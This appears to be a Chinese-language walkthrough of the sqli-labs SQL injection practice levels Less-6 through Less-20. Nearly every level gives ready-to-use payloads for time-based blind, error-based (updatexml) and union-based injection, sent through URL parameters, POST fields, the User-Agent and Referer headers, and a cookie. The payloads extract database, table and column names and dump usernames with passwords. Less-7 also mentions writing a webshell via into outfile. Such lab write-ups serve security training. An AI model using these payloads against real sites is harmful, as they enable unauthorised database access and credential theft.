Less-6
重要源码
可以发现与上一题结果相同
判断回显位
没有回显
爆破数据库
爆破数据表
爆破users表的列
查询相关数据
修改limit 0,1为1,1 2,1 ...... 即可
Less-7
重要源码
判断显示位
发现没有回显
页面显示Use outfile
我们知道,select查询可以对文档有操作:
读取文档:load_file()
导出文档:into outfile()
这里应该是想让我们利用outfile的文档来查看回显,也可以选择outfile一句话木马来getshell。
虽然报错,但是打开目的文件我们发现已经存在文件test.php了
Less-8
判断回显位,发现并没有回显
爆破数据库
发现报错注入没有回显
我们采用延时注入。拿下面的案例而言,如果字符串hello的首字母的ASCII码大于120的话那么延时十秒,否则输出1。
select if(ascii(substring("hello",1,1))>120,sleep(10),1);
利用此原理,猜解数据库名
?id=1' and if(ascii(substring(database(),1,1))=115,sleep(10),1)--+
发现页面多延迟10s,说明猜解正确
其中ASCII码中的第115个为“s”
同理猜解第二个,为“e”
?id=1' and if(ascii(substring(database(),2,1))=101,sleep(10),1)--+
......
最终获得数据库名为“security”
猜解表名
?id=1' and if(ascii(substring((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,sleep(10),1);--+
第一个表的第一个字母为“e”(ASCII码第101位)
修改limit 0,1即可获得第二个,第三个表名
猜解字段与前面相同,只需要将table_name改为column_name以及information_schema.tables改为information_schema.columns
猜内容
?id=1' and if(ascii(substr((select username from security.users order by id limit 0,1),1,1))=68,sleep(10),1);--+
与猜解表名相同
Less-9
通过简单的测试,发现无论如何页面都没有回显,只显示You are in......
所以我们使用时间盲注
之后的操作与Less-8类似,这里不再重复
Less-10
与上一题同理,只不过是单引号变成双引号
Less-11
从本关开始,使用post提交数据
使用万能密码进行尝试
判断字节数
判断显示位
爆破数据库
-1' union select 1,database() #
爆破数据表
-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='security' #
爆破users表的列
-1' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' #
爆破用户名和密码
-1' union select 1,group_concat(username,':',password) from users #
Less-12
重要源码
与Less-11相似
直接爆破数据库
-1") union select 1,database() #
仅仅只有-1")与上一题不同,其余步骤均与Less-11相同
Less-13
重要源码
发现登录成功但是没有回显
我们采用时间盲注
猜解数据库
admin') and if(ascii(substring(database(),1,1))=115,sleep(10),1) #
猜解数据表
admin') and if(ascii(substring((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,sleep(10),1); #
猜内容
admin') and if(ascii(substr((select username from security.users order by id limit 0,1),1,1))=68,sleep(10),1); #
Less-14
与上一题相似,没有回显
构造方式不同
猜解数据库
admin" and if(ascii(substring(database(),1,1))=115,sleep(10),1) #
猜解数据表
admin" and if(ascii(substring((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,sleep(10),1); #
猜内容
admin" and if(ascii(substr((select username from security.users order by id limit 0,1),1,1))=68,sleep(10),1); #
Less-15
与上一题相似,没有回显
只需要将admin后面的 " 改为 '
其余步骤与Less-14相同
Less-16
只需要将admin后面的符号改为 ")
其余步骤与Less-14相同
Less-17
这一关有点不一样,是修改密码
substr()函数:返回字符串的一部分。相当于输入的对长度进行限制
stripslashes() 函数:删除其中的反斜杠
ctype_digit()函数:做纯数字检测
mysqli_real_escape_string()函数:对字符串中的特殊字符进行转义,以使得这个字符串是一个合法的 SQL 语句。
intval() 函数:获取变量的整数值
这里相当于对输入的User Name做了严格的过滤,所以我们尝试对New Password进行注入
尝试使用时间盲注
admin' and if(ascii(substring(database(),1,1))=115,sleep(10),1) #
发现页面并没有延迟
再尝试报错注入
admin' and updatexml(1,concat(0x7e,(select database()),0x7e),1) #
爆破数据表
admin' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) #
爆破users表的列
admin' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x7e),1) #
查询有关数据
admin' and updatexml(1,concat(0x7e,(select group_concat(username,0x3a,password) from users),0x7e),1) #
换一种方法
admin' and updatexml(1,concat(0x7e,(select username from (select username from users limit 0,1)test),0x7e),1) #
通过修改limit即可爆出所有用户名
通过用户名爆破密码
admin' and updatexml(1,concat(0x7e,(select username from (select username from users where username='admin' limit 0,1)test),0x7e),1) #
Less-18
首先进行简单测试,发现会返回IP和User Agent
识别客户使用的操作系统及版本、CPU 类型、浏览器及版本、浏览器渲染引擎、浏览器语言、浏览器插件等。
通过源码可以得知,这里的Username和Password都进行了过滤
看到
所以需要先输入正确的账号和密码,随后处理User Agent部分
发现报错,可能存在注入
尝试报错注入
'or updatexml(1,concat(0x7e,(select database()),0x7e),1) or'
爆破数据表
'or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) or'
爆破users表的列
'or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x7e),1) or'
查询有关数据
'or updatexml(1,concat(0x7e,(select group_concat(username,':',password) from users),0x7e),1) or'
回显有限,也可以,修改limit即可
' or (updatexml(1,concat(0x7e,(SELECT concat_ws(':',username,password) FROM (SELECT username,password FROM users)text LIMIT 0,1),0x7e),1)) or '
Less-19
与上一题类似,本题显示Referer
Referer是 HTTP 头的一个字段,用于告诉服务器该网页是从哪个页面链接过来的。
爆破数据库
'or updatexml(1,concat(0x7e,(select database()),0x7e),1) or'
爆破数据表
'or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) or'
爆破users表的列
'or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1) or'
查询有关数据
' or (updatexml(1,concat(0x7e,(SELECT concat_ws(':',username,password) FROM (SELECT username,password FROM users)text LIMIT 0,1),0x7e),1)) or '
具体步骤与Less-18相似,只是修改的地方不同
Less-20
使用admin,admin尝试
点击Delete Your Cookie退出
修改cookie改为admin',刷新页面,发现报错
判断字段数
判断显示位
爆破数据库
' union select 1,2,database() #
爆破数据表
' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' #
爆破users表的列
' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' #
爆破用户名和密码
' union select 1,2,group_concat(username,':',password) from users #